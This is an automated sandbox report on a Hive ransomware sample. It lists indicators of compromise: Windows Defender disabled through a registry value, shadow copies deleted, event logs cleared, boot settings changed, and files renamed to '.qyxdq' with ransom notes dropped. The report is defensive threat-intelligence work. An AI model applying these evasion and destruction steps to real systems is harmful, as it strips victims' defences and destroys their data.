Malware Analysis Report

2024-10-16 03:13

Sample ID 220112-ye478adgd4
Target 585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.7z
SHA256 143c286fd4b71174dc7f1764f7758e9b91614c4019686bfb6291c1b31009e4b5
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

143c286fd4b71174dc7f1764f7758e9b91614c4019686bfb6291c1b31009e4b5

Threat Level: Known bad

The file 585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.7z was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Modifies Windows Defender Real-time Protection settings

Modifies security service

Deletes Windows Defender Definitions

Hive

Deletes shadow copies

Clears Windows event logs

Modifies boot configuration data using bcdedit

Modifies extensions of user files

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Modifies registry class

Suspicious use of WriteProcessMemory

Runs ping.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Opens file in notepad (likely ransom note)

Interacts with shadow copies

Runs net.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-12 19:42

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-12 19:42

Reported

2022-01-12 19:48

Platform

win7-en-20211208

Max time kernel

298s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\BlockRename.crw.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_rPOMbbjrMO00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File renamed C:\Users\Admin\Pictures\InstallUse.png => C:\Users\Admin\Pictures\InstallUse.png.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_2i0xIsBYA_I0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Users\Admin\Pictures\InstallUse.png.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_2i0xIsBYA_I0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File renamed C:\Users\Admin\Pictures\ReceiveExport.png => C:\Users\Admin\Pictures\ReceiveExport.png.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_kAGRGvmHfIw0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Users\Admin\Pictures\ReceiveExport.png.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_kAGRGvmHfIw0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File renamed C:\Users\Admin\Pictures\BlockRename.crw => C:\Users\Admin\Pictures\BlockRename.crw.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_rPOMbbjrMO00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiBold.ttf.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_YPic6krWXlQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\drag.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\EXLIRM.XML.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_uPi8nKwZVw80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_LinkNoDrop32x32.gif.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_lO6lWFZlk680.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\ink\es-ES\TipRes.dll.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_W0RJM-OrqM80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\de-DE\css\picturePuzzle.css C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\de-DE\micaut.dll.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_o3o0af4d9e40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveDocumentReview\BodyPaneBackground.jpg.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_x53b3l9HY-g0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\6yLH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Syowa.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_f77eplVeIcI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_MUcQzIO53ZQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0151041.WMF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_lDc0vDA8VdE0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Discussion.css.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_RZDDf1VKX8o0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Belgrade.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_wuCTAX8OKIA0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Simferopol.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_wQlxe-dE9uM0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_V34aRVdvaAA0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME37.CSS.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_L1DvBPv7Fe40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OEMPRINT.CAT.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_8fdYu2jZijE0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-image-inset.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Chagos.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_2xJfNH3NZLQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-selector-ui.xml.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_E0QLszGzZ5s0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME14.CSS.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_OMlxAj3AlwM0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME51.CSS.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_RPOvZT3YVeI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\symbols\ea-sym.xml C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Journal\fr-FR\Journal.exe.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Media Player\ja-JP\wmpnscfg.exe.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\images\rings-desk.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_zh_4.4.0.v20140623020002.jar.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_qRXZium-zg40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-4.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_9KRLAysWuZ00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Media Player\en-US\mpvis.dll.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107314.WMF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_R-BrSEoYx_g0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OMML2MML.XSL.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_mLRk4xwvTaY0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\trusted.libraries.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_oDLUwO_hT-Y0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PPINTL.DLL.IDX_DLL.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_xBoHTW6lvg40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL010.XML.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_jxClS6cmXAA0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\flyout_background.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\rss_headline_glow_docked.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107528.WMF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_Dk-looQUn9Q0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Lime\6yLH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OneNote\SendToOneNote-PipelineConfig.xml.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_w8fW0skI4VI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD__vABtvV1bqo0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-compat_zh_CN.jar.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_PBiIcjx4aRs0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-selector-api.xml.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_3PNHjJS6lU80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\rssLogo.gif C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_tAwQHm-VQxM0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00200_.WMF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_sHMLBqsthgk0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\IPSEventLogMsg.dll.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_9Ii4ODfhiqY0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\msadc\adcvbs.inc C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\6yLH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\zh-cn.txt.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_u1h6Ttcu3xU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler.xml.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_ZAxvFfh2d1k0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\ProjectToolsetIconImages.jpg.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_QyJod-KhxTQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\de-DE\settings.html C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Ushuaia.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_90Y0zsNr6lE0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-oql.jar.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD__0oYIFPTx_U0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02276_.WMF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_4_rvozJSsKw0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\CommsIncomingImage.jpg.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_3fyRM_NXMOw0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIcon.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\Web Server Extensions\14\BIN\1033\FPEXT.MSG.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_e3gX87cC8ls0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21519_.GIF.Z04knqKuf0QU74xkfwX4Zbqg2qh2y9hVQYxg4w4YUCD_CiT2DLG4fBk0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\NOTEPAD.EXE N/A
N/A N/A C:\Windows\system32\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
